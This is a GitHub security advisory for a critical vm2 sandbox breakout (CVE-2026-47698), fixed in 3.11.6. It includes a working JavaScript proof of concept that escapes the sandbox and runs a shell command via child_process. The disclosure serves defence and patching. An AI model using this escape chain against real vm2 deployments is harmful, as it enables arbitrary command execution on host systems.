GitHub Advisoryadvisory · npm
GHSA-cfcw-xp6x-25gj vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
CRITICAL
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- Aliases
- CVE-2026-47698
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-913
- Reviewed
- 2026-08-17
Affected packages
• npm vm2: < 3.11.6 → fixed in 3.11.6
Description
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.
PoC
```js
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));
```
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Related
Alias · CVE (1)
- CVE-2026-47698 vm2 is an open source vm/sandbox for Node.js. vulnerability
Weakness · CWE (1)
- CWE-913 Improper Control of Dynamically-Managed Code Resources weakness